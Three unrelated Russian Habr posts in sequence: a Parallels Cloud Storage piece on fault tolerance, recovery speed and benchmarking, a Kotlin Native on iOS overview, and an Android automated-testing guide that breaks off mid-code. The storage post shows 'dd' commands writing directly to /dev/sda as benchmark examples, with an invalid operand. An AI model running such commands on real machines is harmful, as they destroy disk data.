* Как правильно проводить тестирование, чтобы сравнивать «яблоки с яблоками»
* Как получить на порядок больше/меньше IOPS, поменяв всего один параметр
В процессе тестирования мы применяли RAID–системы и распределенную систему хранения данных [Parallels Cloud Storage (PStorage)](http://habrahabr.ru/company/parallels/blog/162381/). PStorage входит в продукт [Parallels Cloud Server](http://habrahabr.ru/company/parallels/blog/169927/).
Начнем с того, что определим основные характеристики, на которые нужно обратить внимание при выборе системы хранения. Они же будут определять структуру поста.
1. Отказоустойчивость
2. Скорость восстановления данных
3. Производительность, соответствующая вашим запросам.
4. Консистентность данных
### **Отказоустойчивость**
Самая важное свойство системы хранения данных – это то, что система призвана СОХРАНЯТЬ данные без каких-либо компромиссов, то есть обеспечивать максимальную доступность и ни в коем случае не потерять даже малой их части. Почему-то очень многие задумываются о производительности, цене, но мало внимания уделяют надежности хранения данных.
Для обеспечения отказоустойчивости в случае сбоя существует одна-единственная техника – резервирование. Вопрос в том, на каком уровне применяется резервирование. С некоторым грубым упрощением, можно сказать, что уровня два: Hardware и Software.
Резервирование на уровне Hardware давно зарекомендовало себя в Enterprise-системах. SAN/NAS коробки имеют двойное резервирование всех модулей (два, а то и три блока питания, пара плат «мозгов») и сохраняют данные одновременно на нескольких дисках внутри одной коробки. Лично я метафорически представляю это себе как очень безопасную кружку: максимально надежную для сохранения жидкости внутри, с толстыми стенками и обязательно с двумя ручками на случай, если одна из них сломается.
Резервирование на уровне Software только начинает проникать в Enterprise-системы, но с каждым годом отъедает все больший и больший кусок у HW решений. Принцип тут прост. Такие системы не полагаются на надежность железа. Они считают, что оно априори ненадежно, и решают задачи резервирования на уровне ПО, создавая копии (реплики) данных и храня их на физически разном железе. Продолжая аналогию с чашками, это — когда есть несколько совершенно обычных чашек, и ты разлил чай в обе, вдруг одна разобьется.
Таким образом, SW решения не требуют дорогостоящего оборудования, как правило, более выгодны, но при этом обеспечивают ровно такую же отказоустойчивость, хотя и на другом уровне. Их также легче оптимизировать, например, разносить данные на разные сайты, выполнять балансировку, менять уровень отказоустойчивости, линейно масштабировать при росте кластера.
Расскажу, как решается вопрос резервирования на примере Parallels Cloud Storage (PStorage). PStorage не имеет привязки к какому-либо вендору железа и способен работать на совершенно обычных машинах, вплоть до настольных PC. Мы не доверяем железу, поэтому архитектура PStorage рассчитана на потерю любого физического сервера целиком (а не только отдельного диска). Все данные в Parallels Cloud Storage хранятся в нескольких копиях (репликах). При этом PStorage никогда не хранит более одной копии на физическом сервере/стойке/комнате (как захотите). Мы рекомендуем хранить 3 копии данных, чтобы быть защищенным от одновременного сбоя сразу двух серверов/стоек.
*Комментарий: на рисунке показан пример кластера, хранящего данные в двух копиях.*
### **Скорость восстановления данных**
Что происходит, если один из дисков выходит из строя?
Для начала рассмотрим обычный HW RAID1 (mirror) из двух дисков. В случае выпадения одного диска, RAID продолжает работать с оставшимся, ожидая момента замены сломавшегося диска. Т.е. в это время RAID уязвим: оставшийся диск хранит единственную копию данных. У одного из наших клиентов был случай, когда в их дата-центре проводили ремонт и пилили металл. Стружки летели прямо на работающие сервера, и в течение нескольких часов диски в них стали вылетать один за другим. Тогда система была организована на обычных RAID, и в результате провайдер потерял часть данных.
Сколько времени система находится в уязвимом состоянии — зависит от времени восстановления. Эту зависимость описывает следующая формула:
> **MTTDL ~= 1 / T^2 \* С**, где **T** – это время восстановления, а the mean time to data loss (**MTTDL**) — среднее время наработки до потери данных, **С** — некий коэффициент.
Итак, чем быстрее система восстановит необходимое количество копий данных, тем меньше вероятность потерять данные. Здесь мы даже опустим тот факт, что для начала процесса восстановления HW RAID администратору нужно заменить дохлый диск на новый, а на это тоже нужно время, особенно если диск нужно заказывать.
Для RAID1 время восстановления – это время, за которое RAID контроллер перельет данные с рабочего диска на новый. Как легко догадаться, скорость копирования будет равна скорости чтения/записи HDD, то есть примерно 100 MB/s, если RAID контроллер совершенно не нагружен. А если в это время RAID котроллер грузят извне, то скорость будет в несколько раз ниже. Вдумчивый читатель проведет аналогичные расчёты для RAID10, RAID5, RAID6 и придет к выводу, что любой HW RAID восстанавливается со скоростью не выше скорости одного диска.
SAN/NAS системы почти всегда используют аналогичный обычному RAID подход. Они группируют диски и собирают из них RAID. Собственно, скорость восстановления такая же.
На Software уровне гораздо больше возможностей для оптимизации. Например, в PStorage данные распределяются по всему кластеру и по всем дискам кластера, и в случае выхода из строя одного из дисков репликация начинается автоматически. Здесь не нужно ждать, когда администратор заменит диск. Кроме того, в репликации участвуют все диски кластера, поэтому скорость восстановления данных намного выше. Мы записывали данные в кластер, отключали один сервер из кластера и замеряли время, за которое кластер восстановит недостающее количество реплик. На графике результат для кластера из 7/14/21 физической ноды с двумя SATA дисками по 1TB. Кластер собран на 1GB сети.
Если использовать 10Gbit сеть, то скорость будет еще выше.
*Комментарий: Здесь нет ошибки в том, что на 1Gbit сети скорость восстановления кластера из 21 сервера — почти гигабайт в секунду. Дело в том, что данные, сохранённые в Parallels Cloud Storage, распределены по дискам кластера (некий stripe в масштабе кластера), таким образом, мы получаем возможность параллельно производить копирование данных с разных дисков на разные. То есть нет единой точки владения данными, которая могла бы быть узким местом теста.*
Полный сценарий теста можно найти [в этом документе,](http://sp.parallels.com/fileadmin/media/hcap/pcs/documents/PCloudStorage_Performance_Results_WP_EN_Ltr_02192013_web.pdf) при желании вы сможете его повторить самостоятельно.
### **Как правильно тестировать производительность — советы**
Основываясь на нашем опыте тестирования систем хранения данных, я бы выделил основные правила:
1. **Надо «определиться с хотелками».** Что именно хочется получить от системы и сколько. Наши клиенты в большинстве случаев используют Parallels Cloud Storage для построения кластера высокой доступности для виртуальных машин и контейнеров. То есть каждая из машин кластера одновременно предоставляет и storage, и исполняет виртуальные машины. Таким образом, в кластере не требуется выделенной внешней «хранилки данных». В терминах производительности это значит, что кластер получает нагрузку от каждого сервера. Поэтому в примере мы будем всегда нагружать кластер параллельно со всех физических серверов кластера.
2. **Не нужно использование хорошо сжимаемые шаблоны данных.** Многие HDDs/SSDs диски, системы хранения данных, а также виртуальные машины иногда имеют специальные Low-level оптимизации для обработки нулевых-данных. В таких ситуациях легко заметить, что запись нулей на диск происходит несколько быстрее, чем запись случайных данных. Типичным примером такой ошибки служит всем известный тест:
```
dd if=/dev/zero of=/dev/sda size=1M
```
Лучше использовать случайные данные при тестировании. При этом генерация этих данных не должна влиять на сам тест. Т.е. лучше сгенерировать случайные данные заранее, например в файл. В противном случае тест упрется в генерацию данных, как в следующем примере:
```
dd if=/dev/random of=/dev/sda size=1M
```
3. **Учитывайте расстояние между компонентами, разнесенными друг от друга.** Естественно, что коммуникация между распределёнными компонентами может содержать задержки. Стоит помнить об этом возможном узком месте при нагрузках. Особенно сетевых задержках и пропускной способности сети.
4. **Отведите не меньше минуты на проведение теста.** Время теста должно быть продолжительным.
5. **Проводите один тест несколько раз, чтобы сгладить отклонения.**
6. **Используйте большой объем данных для нагрузки (working set).** Working set – это очень важный параметр, так как он сильно влияет на производительность. Именно он может изменить результат тестирования в десятки раз. Например, с RAID контроллером Adaptec 71605, random I/O на 512M файле показывает 100K iops, а на 2GB файле — всего 3К IOPS. Разница в производительности в 30 раз обусловлена RAID-кешем (попаданием и не попаданием в кеш в зависимости от объема нагрузки). Если вы собираетесь работать с данными больше, чем объем кэша вашей системы хранения (в данном примере 512M), то используйте именно такие объемы. Для виртуальных машин мы используем 16GB.
7. И конечно, **всегда сравнивайте только «яблоки с яблоками».** Необходимо сравнивать системы с одинаковой отказоустойчивостью на одинаковом железе. Например, нельзя сравнивать RAID0 c PStorage, так как PStorage обеспечивает отказоустойчивость при вылете дисков/серверов, а RAID0 нет. Правильно в этом случае будет сравнивать RAID1/6/10 c PStorage.
Ниже приведу результаты тестирования по описанной методологии. Мы сравниваем производительность локального RAID1 («**host RAID 1**») с кластером PStorage («**PCS**»). Те самые «яблоки с яблоками». Следует обратить внимание, что необходимо сравнивать системы с одинаковым уровнем избыточности. PStorage в этих тестах хранил информацию в двух копиях (replicas=2) вместо рекомендованных трех, чтобы уровень отказоустойчивости быть одинаковый для обоих систем. Иначе сравнение было бы нечестным: PStorage (replicas=3) позволяет потерять 2 любых диска/сервера одновременно, когда RAID1 из 2 дисков — всего 1. Мы используем одинаковое железо для всех тестов: 1,10,21 одинаковых физических серверов с двумя 1TB SATA дисками, 1Gbit сетью, core i5 CPU, 16GB RAM. Если кластер состоит из 21 сервера, то его производительность сравнивается с суммарной производительностью 21 локального RAID. Нагрузка производилась в 16 потоков на каждой физической ноде одновременно. Каждая нода имела working set в 16GB, то есть, например, для RANDOM 4K теста в целом на кластере нагрузчики случайно ходили по 336GB данным. Время нагрузки — 1 минута, каждый тест проводился 3 раза.
Колонки «**PCS+SSD**» показывают производительность того же кластера, но с SSD-кешированием. PStorage имеет встроенную возможность использовать локальные SSD для write-журналирования, read-кеширования, что позволяет в несколько раз превзойти производительность локальных вращающихся дисков. Также SSD диски могут быть использованы для создания отдельного слоя (tier) с большей производительностью.
### **Выводы**
Коротко резюмирую:
1. Выбирая тип резервирования, склоняемся к «уровню ПО». Software уровень предоставляет больше возможностей для оптимизации и позволяет снизить требования к железу и удешевить систему в целом.
2. Тесты проводим на определенных условиях (см. наши советы)
3. Обращаем внимание на скорость восстановления – очень важный параметр, который при недостаточной эффективности может попросту погубить часть бизнеса.
Также вы можете протестировать и наше собственное решение, тем более что мы даем это сделать бесплатно. По крайней мере, на наших собственных тестах Parallels Cloud Storage показывает наибольшую скорость восстановления данных в случае потери диска (больше, чем в RAID системах, включая SAN) и производительность как минимум не хуже локального RAID, а с SSD-кешированием – и выше.
О консистентности данных мы планируем поговорить подробнее в отдельном посте.
### **Как попробовать Parallels Cloud Storage**
Официальная страничка продукта [тут](http://sp.parallels.com/products/pcs/cloud-storage/). Чтобы бесплатно попробовать, заполните [анкету](http://sp.parallels.com/ru/products/pcs/how-to-buy/).
Также [PStorage доступен для проекта OpenVZ](https://openvz.org/Parallels_Cloud_Storage).
Почитать о том, как PCS работает в FastVPS можно [в этом посте](http://habrahabr.ru/company/parallels/blog/190524).
Что показывают ваши тесты, плюсы-минусы – можем подробно обсудить в комментариях. | https://habr.com/ru/post/239381/ | null | ru | null |
# iOS+Kotlin. Что можно сделать сейчас
В ветке master проекта Kotlin Native появился пример [uikit](https://github.com/JetBrains/kotlin-native/tree/master/samples/uikit). Это простое приложение под iOS, которое выводит на экран строку, введённую в поле ввода, и да, 100% кода написано на Kotlin. Выглядит оно так:
Стоит ли думать о порте своего приложения уже сейчас?
-----------------------------------------------------
Да, но только если:
0). Вам действительно нужна общая кодовая база мобильных приложений.
1). Приложение мало завязано на платформу.
2). У Вас есть время на написание некоторого количества кода на Kotlin, который в будущем стоит переписать на Objective-C или Swift.
Причины пока не портировать
---------------------------
ViewController, AppDelegate и даже main-функция в примере написаны на Kotlin. Те файлы, которые написаны на Objective-C нужны только чтобы XCode не выдавал ошибку и не включаются в конечную сборку (я не нашёл способов исправить положение). Т.е. полноценный interop как с Java, видимо, пока что, недоступен. Это совсем не значит, что положение дел не изменится к релизу (сейчас проект на стадии alpha preview, а об этом примере даже поста в [блоге](http://blog.jetbrains.com/kotlin/) не было). Но спектр доступных сейчас возможностей довольно ограничен.
Interop
-------
Идиоматический подход к написанию мультиплатформенного приложения на Kotlin — отдельно написать общую часть, отдельно — часть для каждой платформы. При этом на каждой платформе, по задумке, должны быть легко доступны все библиотеки, под неё написанные. В случае с Java работает хорошо. В случае с iOS дела сейчас обстоят следующим образом:
```
@ExportObjCClass
class KotlinViewController : UIViewController {
constructor(aDecoder: NSCoder) : super(aDecoder)
override fun initWithCoder(aDecoder: NSCoder) = initBy(KotlinViewController(aDecoder))
@ObjCOutlet
lateinit var label: UILabel
@ObjCOutlet
lateinit var textField: UITextField
@ObjCOutlet
lateinit var button: UIButton
@ObjCAction
fun buttonPressed() {
label.text = "Konan says: 'Hello, ${textField.text}!'"
}
}
```
То есть вполне неплохо. К каждому внешнему классу добавляем аннотацию @ExportObjCClass, к каждому графическому элементу из storyboard — @ObjCOutlet и @ObjCAction для каждого action. Классы на Objective-C доступны по их оригинальным именам.
Если нужно вызвать Kotlin из Objective-C/Swift
----------------------------------------------
В этой [статье](http://justmaku.org/2017-06-07-kotlin-on-ios) описано, как это можно сделать. Через некоторое количество прослоек, с ручным преобразованием типов 2 раза, но зато можно звать Swift из Kotlin и Kotlin из Swift.
Overhead
--------
В теории, вес приложения должен увеличиться примерно на 100 кб ([отсюда](https://kotlinlang.slack.com/archives/C3SGXARS6/p1502811002000274?thread_ts=1502179497.959459&cid=C3SGXARS6)).
Вместо GC будет использоваться ARC, так что особой разницы в производительности со Swift быть не должно.
Обратная совместимость
----------------------
Судя по [докладам](https://www.youtube.com/watch?v=m5T0M7SnCC0) участников команды разрабатывающей язык, обратная совместимость — один из их основных приоритетов. Насколько это хорошо — судить вам. Лично я считаю, что это намного лучше, чем у Swift и, в целом, язык хорош и большинство [паззлеров](https://github.com/angryziber/kotlin-puzzlers) выглядят надуманными. Но есть 1 вещь, которая, по моему мнению, может быть «бомбой замедленного действия», при этом не может быть исправлена с соблюдением обратной совместимости.
inline
------
Для реализации [сопрограмм](https://kotlinlang.org/docs/reference/coroutines.html), которые делают так, чтобы синхронный и асинхронный код выглядели почти одинаково в язык было введено всего одно новое ключевое слово suspend, чем разработчики заслуженно [гордятся](https://www.youtube.com/watch?v=b4mBmi1QNF0). Но для того чтобы методы-расширения ([forEach](https://kotlinlang.org/docs/reference/returns.html), map...) работали так же быстро, как и обычный [for](https://kotlinlang.org/docs/reference/returns.html) (и для вывода общих типов во время исполнения программы), было введено целых 3 ([inline, crossinline, noinline](https://kotlinlang.org/docs/reference/inline-functions.html)). Они явно не делают код читаемее. JIT теряет часть возможностей для оптимизации ([подкаст об этом](http://razbor-poletov.com/2017/06/episode-138.html)), а опыт C показывает, что разработчики не умеют правильно пользоваться такими возможностями языка. В целом, не понимаю, почему то же самое нельзя было сделать аннотацией. Для меня inline выглядит как плохое решение достойной проблемы.
Заключение
----------
* На Kotlin скоро можно будет писать под все 3 основные платформы (Android, iOS, Web).
* Скорее всего, будет хорошая совместимость с Objective-C и Swift. Возможно лучше, чем та, что есть между этими языками. Учитывая опыт JetBrains в разработке компиляторов и IDE, в это можно поверить.
* У Kotlin легковесный Runtime языка под Android и Web. Под iOS, судя по всему, тоже будет не тяжёлым.
* Уже сейчас можно что-нибудь написать. | https://habr.com/ru/post/337958/ | null | ru | null |
# Быстрый старт: гайд по автоматизированному тестированию для Android-разработчика. JVM
Привет! Меня зовут Сергей Иванов, я ведущий разработчик Android в Redmadrobot. С 2016 использую автотесты различных категорий и успел в этом набить немало шишек. Именно поэтому решил поделиться опытом. Возможно, что кому-то статья поможет систематизировать знания или начать применять эту практику в работе.
*Автоматизированное тестирование* — одна из самых сложных и холиварных тем в сфере разработки ПО. По моим наблюдениям, немногие в сообществе пишут автотесты, а те, кто это делают, не всегда получают реальную пользу. Кроме того, подступиться к теме не так-то просто: материалы в основном разрозненные, не всегда актуальны для нужной платформы, а в чем-то и противоречивы. В общем, чтобы начать нормально писать тесты, нужно очень много искать и разбираться.
В статье подсвечу основные аспекты автоматизированного тестирования, его специфику на Android, дам рекомендации для решения популярных вопросов и эффективного внедрения практики на проекте — то, к чему я сам пришел на текущий момент.
Подробнее расскажу про тесты на JVM, а не про UI-тесты, о которых в последнее время пишут часто. Материал будет хорошей отправной точкой для изучения темы, а также поможет дополнить уже имеющиеся знания.
#### Дисклеймер: статья получилась большой, поэтому указал основные темы, которые рассмотрю.
1. [Базовые понятия автоматизированного тестирования.](#basic_concepts)
2. [Категории тестов и их специфика на Android.](#test_categories)
3. [Основные инструменты для тестирования.](#instruments)
4. [Как писать тестируемый код.](#code_design)
5. [Дизайн тестов.](#test_design)
6. [Снижение хрупкости non-UI тестов.](#strong_non_ui_tests)
7. [Тестирование асинхронного кода с RxJava.](#rx_java)
8. [JVM integration testing.](#jvm_integration)
9. [Что тестировать.](#what_to_test)
10. [Как и когда применять методологию Test Driven Development.](#tdd)
---
При производстве приложений автотесты помогают:
-----------------------------------------------
1. **Находить баги на раннем этапе разработки**. Это позволяет раньше устранять проблемы, при этом расходуя меньше ресурсов.
2. **Локализовать проблему**. Чем более низкоуровневым является тест, тем более точно он способен указать на причину ошибки.
3. **Ускорить разработку**. Это вытекает из предыдущих пунктов и из того, что благодаря автотестам разработка разных частей фичи может быть оперативно разделена на несколько разработчиков. Установив контракты между компонентами приложения, разработчик может разработать свой компонент и проверить его корректность при отсутствии остальных (например, при полном отсутствии UI).
4. **Служат документацией**. При правильном оформлении тестов и поддержке их в актуальном состоянии покрытый тестами код всегда будет иметь последовательную документацию. Это упростит его понимание новым разработчикам, а также поможет автору, забредшему в забытый уголок проекта спустя несколько месяцев.
#### Но есть и проблемы:
1. Нужно время на внедрение, написание и поддержку.
2. При некорректном внедрении практики могут принести больше вреда, чем пользы.
Важные базовые понятия автоматизированного тестирования**System Under Test (SUT)** — тестируемая система. В зависимости от типа теста системой могут быть разные сущности (о них подробнее написал в разделе «категории тестов»).
Для различия уровня тестирования по использованию знаний о SUT существуют понятия:
**Black box testing** — тестирование SUT без знания о деталях его внутреннего устройства.
**White box testing** — тестирование SUT с учётом деталей его внутреннего устройства.
Выделяют также Gray box testing, комбинацию подходов, но ради упрощения он будет опущен.
Для обеспечения базового качества автотестов важно соблюдать некоторые правила написания. Роберт Мартин сформулировал в книге "[Clean Code](https://www.amazon.com/Clean-Code-Handbook-Software-Craftsmanship/dp/0132350882)" глобальные принципы F.I.R.S.T.
**Fast** — тесты должны выполняться быстро.
**Independent** — тесты не должны зависеть друг от друга и должны иметь возможность выполняться в любом порядке.
**Repeatable** — тесты должны выполняться с одинаковым результатом независимо от среды выполнения.
**Self-validating** — тесты должны однозначно сообщать о том, успешно их прохождение или нет.
**Timely** — тесты должны создаваться своевременно. Unit-тесты пишутся непосредственно перед кодом продукта.
**Структура теста** состоит как минимум из двух логических блоков:
* cовершение действия над SUT,
* проверка результата действия.
Проверка результата заключается в оценке:
* состояния SUT или выданного ею результата,
* cостояний взаимодействующих с SUT объектов,
* поведения (набор и порядок вызовов функций других объектов, которые должен совершить SUT, переданные в них аргументы).
При необходимости также добавляются блоки подготовки и сброса тестового окружения, отчасти связанные с первыми тремя принципам F.I.R.S.T.
Подготовка окружения заключается в создании SUT, установке исходных данных, состояний, поведения и др., необходимых для имитации ситуации, которую будет проверять тест.
На этапе сброса окружения может осуществляться очистка среды после выполнения теста для экономии ресурсов и исключения влияния одного теста на другой.
Зачастую для настройки окружения применяются тестовые дублеры.
**Test doubles (Тестовые дублёры)** — фиктивные объекты, заменяющие реальные объекты, от которых зависит SUT, для достижения целей теста.
Тестовые дублеры позволяют:
* зафиксировать тестовое окружение, имитируя неважные, нереализованные, нестабильные или медленные внешние объекты (например, БД или сервер),
* совершать проверки своих вызовов (обращений к функциям, свойствам).
Самая популярная классификация включает 5 видов тестовых дублеров, различных по своим свойствам: Dummy, Fake, Stub, Spy, Mock.
**Stub** — объект, который при вызовах его функций или свойств возвращает предустановленные (hardcoded) результаты, а не выполняет код реального объекта. Если же функция не имеет возвращаемого значения, то вызов просто игнорируется.
**Mock** — объект, позволяющий проверять поведение SUT путём отслеживания обращений к функциям и свойствам объекта: были ли в ходе теста вызваны функции мока, в правильном ли порядке, ожидаемые ли аргументы были в них переданы и т.д. Может также включать функциональность Stub.
Почитать об этих и остальных видах дублеров можно в [первоисточнике](http://xunitpatterns.com/Test%20Double.html).
Эта классификация не является стандартом, и в фреймворках для создания тестовых дублёров часто ради удобства API несколько типов обобщают термином Mock. А вот чем они на самом деле будут являться, зависит от их последующей конфигурации и применения в тесте. Например, при использовании фреймворка [Mockito](https://github.com/mockito/mockito), экземпляр тестового дублера может быть создан как Dummy, а потом превращен в Stub и в Mock.
При именовании созданных с помощью фреймворка дублеров уместно использовать именования, продиктованные фреймворком. Вообще, в мировом сообществе многие оперируют термином Mock и вне кода, подразумевая на самом деле дублёры разных типов. Бывает, что это путает. Но, в большинстве случаев в тестах используются стабы, а вовсе не моки.
В русскоязычной среде встречается мнение, что разница между Stub-ом и Mock-ом заключается в том, что первый — это дублер, написанный вручную, а второй — созданный с помощью специального фреймворка. Но это заблуждение.
Различия полезно знать, чтобы не путаться в общении с коллегами, когда в контексте обсуждения тип дублера важен.
Категории тестов
----------------
Есть разные версии категоризации тестов, по разным характеристикам, поэтому существует некоторая путаница.
Покажу основные категории уровней тестов, на которых тестируется система, на примере одного из самых распространенных вариантов пирамиды тестирования:
**Unit-тесты** проверяют корректность работы отдельного unit-а (модуля). Unit-ом (то есть SUT данного типа тестирования) может быть класс, функция или совокупность классов.
Integration-тесты (в приложении) проверяют корректность взаимодействия модулей или наборов этих модулей (компонентов). Определение SUT данной категории является еще более расплывчатым, т.к. в свою очередь зависит от того, что считается модулем.
**Грань между Unit- и Integration-тестированием довольно тонкая.** Интеграционными тестами, в зависимости от масштаба и контекста, в принципе могут называть тесты, проверяющие взаимодействие чего-либо с чем-либо с определенной долей абстракции: приложение(клиент)-сервер, приложение-приложение, приложение-ОС и др. Но в дальнейшем я буду говорить об интеграционном тестировании в рамках приложения.
**End-to-end-тесты (E2E)** — интеграционные тесты, которые воздействуют на приложение и проверяют результат его работы через самый высокоуровневый интерфейс (UI), то есть на уровне пользователя. Использование тестовых дублеров на этом уровне исключено, а значит обязательно используются именно реальные сервер, БД и т.д.
> Кстати, визуализация автоматизированных тестов в виде пирамиды говорит о том, что тесты более низкого уровня — основа более высокоуровневых, а также о рекомендуемом количественном соотношении тестов того или иного уровня в проекте.
>
>
**Вернёмся к категориям.** В Android сложность категоризации автотестов усугубляется еще и тем, что они могут работать на JVM или в Instrumentation-среде (эмулятор или реальное устройство). Последние называют инструментальными.
Чтобы было удобнее ориентироваться в видах тестов, не путаясь в терминологии, предлагаю такую категоризацию для мобильного приложения на Android:
**JVM Integration tests** — интеграционные тесты, проверяющие взаимодействие модулей или совокупностей модулей без использования Instrumentation. Характеризуются они высокой скоростью исполнения, сравнимой с Unit-тестами, также выполняющимися на JVM.
**Instrumentation Integration non-UI tests** — интеграционные тесты, исполняемые уже в реальной Android-среде, но без UI.
**Component UI tests** — интеграционные инструментальные тесты с использованием UI и фиктивных сервера и БД, если таковые требуются. Тест может состоять как из одного экрана, запущенного в изоляции, так и из нескольких экранов с соблюдением их реального флоу.
**E2E UI tests** — интеграционные инструментальные UI-тесты без тестовых дублеров только с реальным флоу экранов. Максимально приближены к ручным тестам.
Если Unit-тесты являются сильно завязанными на детали реализации, очень быстро выполняются, относительно легко пишутся и наиболее точно при поломке указывают на причину ошибки, то в случае E2E UI ситуация противоположная. Изменение этих характеристик происходит постепенно от низа к верху пирамиды.
При переходе от тестов на JVM к тестам на Instrumentation из-за использования настоящей Android-среды происходит резкое падение скорости выполнения этих тестов. Это становится серьезным ограничением. Особенно когда тесты необходимо запускать часто и много раз подряд. Поэтому к написанию инструментальных тестов следует прибегать лишь в случаях, когда использование настоящих Android-зависимостей действительно необходимо.
**UI-тесты**
Несмотря на малую зависимость от низкоуровневых деталей реализации SUT, UI-тесты являются самыми хрупкими. Вызвано это их зависимостью от самого UI. Изменение разметки, реализации отображения, анимации и т.д. могут потребовать длительных манипуляций для обеспечения работоспособности теста.
Часто они оказываются нестабильны в своём поведении и могут то выполняться, то падать, даже если не вносилось никаких изменений в реализацию (нестабильные тесты называют Flaky). Мало того, UI-тесты могут совершенно по-разному себя вести на разных устройствах, эмуляторах и версиях Android. Когда же UI-тесты являются еще и E2E, добавляется хрупкость и снижается скорость выполнения из-за реальных внешних зависимостей. Причем в случае ошибки найти её причину бывает затруднительно, поскольку проверки в таких тестах осуществляются на уровне состояния UI. В таких ситуациях выгоднее обойтись силами QA-инженеров.
Конечно, UI-тесты способны приносить и весьма существенную пользу. Мобильные приложения имеют свойство разрастаться, и в какой-то момент их ручное регрессионное тестирование выходит за адекватные временные рамки. Тогда часть проверок может быть делегирована E2E UI-тестам, что при удачном исполнении может здорово сократить время тестирования.
Поэтому, для написания UI-тестов желательно иметь разработчиков или QA-инженеров-автоматизаторов, которые будут заниматься именно ими бÓльшую часть времени.
**Unit-тесты**
Unit-тесты тоже в определенной мере хрупкие, но уже из-за того, что они больше связаны с деталями реализации, которым свойственно периодически меняться. При сильном изменении реализации SUT и связанных с нею сущностей может потребоваться почти полностью переписать unit-тест. Но unit-тесты стабильны.
Степень хрупкости же можно снизить за счет использования black box-стиля написания даже на этом уровне, когда возможно. Но не следует злоупотреблять применением тестовых дублеров: если уже реализованная сущность имеет тривиальную логику или наличие логики не подразумевается, стоит использовать ее настоящую реализацию.
А заменять дублером следует только то, что действительно необходимо для приемлемой изоляции SUT в конкретном случае. Иногда (но далеко не всегда!) бывает оптимальнее сделать переиспользуемый рукописный дублер, чем конфигурировать его фреймворком для создания дублеров в множестве мест.
Хочу отметить, что какими бы хорошими не были автотесты, полностью отказываться от ручного тестирования нельзя. Человеческий глаз и смекалка пока что незаменимы.
**Подытожим**
* Как я отметил несколько пунктов назад: *тесты более низкого уровня — основа тестов более высокого уровня.* Проверять высокоуровневыми тестами всё то, что спокойно проверяется низкоуровневыми, может быть слишком сложно, долго и невыгодно. Каждая категория тестов должна решать свою задачу и применяться на соответствующем этапе создания приложения — чем выше уровень, тем позже.
* Ручные тесты — самые достоверные и важные тесты. Unit-тесты, имеющие меньше всего общего с ручными, могут позволить проверить такие ситуации, краевые кейсы, которые проверять вручную будет чрезвычайно дорого. Unit-тесты являются наиболее важными среди автоматизированных.
* Лучше делать акцент на быстро выполняющиеся тесты. Так, после Unit-тестов рекомендую проверять JVM Integration-тестами интеграцию в том масштабе, который можно комфортно обеспечить без использования Instrumentation — от ViewModel до слоя данных.
Дальше я буду говорить преимущественно о тестах на JVM. Но некоторые моменты актуальны и для остальных категорий.
Инструментарий
--------------
Раньше для написания JVM-тестов наши разработчики использовали фреймворки [Junit 4](https://junit.org/junit4/) и [Junit 5](https://junit.org/junit5/), но потом переключились на молодой перспективный [Spek 2](https://www.spekframework.org). Junit 4 нужен для инструментальных тестов — с другими фреймворками они не работают.
Для проверок (assert) используем [AssertJ](https://joel-costigliola.github.io/assertj/) — отличную библиотеку с богатым набором читабельных ассертов и удобных дополнительных функций.
Для создания тестовых дублеров применяем [Mockito-Kotlin 2](https://github.com/nhaarman/mockito-kotlin) — Mockito 2, адаптированный для Kotlin.
Для стаббинга и мокирования сервера — [MockWebServer](https://github.com/square/okhttp/tree/master/mockwebserver) — библиотеку от Square, рассчитанную на работу с OkHttp.
Фреймворки PowerMock и Robolectric не используем из соображений скорости выполнения тестов и их надёжности. Кроме того, эти фреймворки поощряют «плохо пахнущий код» — это дополнительные зависимости, без которых вполне можно обойтись. Для этого код должен быть тестируемым.
### Дизайн кода
Признаки нетестируемого кода:
* **Наличие неявных зависимостей, сильная связанность**. Это затрудняет изолированное unit-тестирование, тестирование на раннем этапе развития фичи, распараллеливание разработки. Использование статических функций, создание сложных объектов внутри класса, ServiceLocator исключают возможность использования тестовых дублеров.
* **Обилие Android-зависимостей**. Они требуют Instrumentation или объемную подготовку среды на JVM с тестовыми дублерами, если их использование вообще возможно (см. прошлый пункт).
* **Наличие явного управления асинхронным и многопоточным поведением.** Если результат работы SUT зависит от выполнения асинхронной работы, особенно порученной другому потоку (или нескольким), то не получится просто так гарантировать правильность и стабильность выполнения тестов. Тест может совершить проверки и завершиться раньше, чем асинхронная работа будет выполнена, и результат не будет соответствовать желаемому. При этом принудительное ожидание в тестах (в первую очередь на JVM) — плохая практика, поскольку нарушается принцип Fast.
Пример
```
class ExampleViewModel constructor(val context: Context) : BaseViewModel() {
private lateinit var timer: CountDownTimer
fun onTimeAccepted(seconds: Long) {
val milliseconds = MILLISECONDS.convert(seconds, SECONDS)
// Неявная зависимость, Android-зависимость, запуск асинхронной работы
timer = object : CountDownTimer(milliseconds, 1000L) {
override fun onTick(millisUntilFinished: Long) {
showTimeLeft(millisUntilFinished)
}
override fun onFinish() {
// Неявная зависимость. Вызов статической функции с Android-зависимостью
WorkManager.getInstance(context)
.cancelUniqueWork(SeriousWorker.NAME)
}
}
timer.start()
}
```
### Как сделать код тестируемым
**Следовать принципам SOLID**, использовать слоистую архитектуру**.** Грамотное разделение и реализация сущностей позволит писать изолированные тесты именно на интересующую часть функционала, не допускать чрезмерного разрастания тестового файла и, при необходимости, осуществлять распараллеливание разработки. DI позволит подменять настоящие реализации тестовыми дублёрами.
**Стремиться к чистоте функций.** Это функции, которые:
1. При одинаковом наборе входных данных возвращают одинаковый результат.
2. Не имеют побочных эффектов, т.е. не модифицируют внешние переменные (класса, глобальные) и переданные в качестве входных данных параметры.
Пример теста такой функции:
```
val result = formatter.toUppercase("адвокат")
assertThat(result).isEqualTo("АДВОКАТ")
```
**Минимизировать количество Android-зависимостей.** Часто прямое использование Android-зависимостей в SUT не является необходимым. Тогда их следует выносить вовне, оперируя в SUT типами, поддерживающимися на JVM.
Самая распространенная Android-зависимость в потенциально тестируемых классах — ресурсы, и их выносить из, скажем, ViewModel, ну, совсем не хочется. В таком случае можно внедрить Resources во ViewModel, чтобы стаббить конкретные ресурсы (их id актуальны на JVM) и проверять конкретные значения:
```
mock { on { getString(R.string.error\_no\_internet) } doReturn "Нет интернета" }
```
Но лучше поместить Resources во Wrapper, предоставляющий только необходимый функционал работы с ресурсами, и сделать его тестовую реализацию. Это избавит SUT от прямой зависимости от фреймворка и упростит подготовку окружения в тестах:
```
interface ResourceProvider {
fun getString(@StringRes res: Int, vararg args: Any): String
}
class ApplicationResourceProvider(private val resources: Resources) : ResourceProvider {
override fun getString(res: Int, vararg args: Any): String {
return resources.getString(res, *args)
}
}
class TestResourceProvider : ResourceProvider {
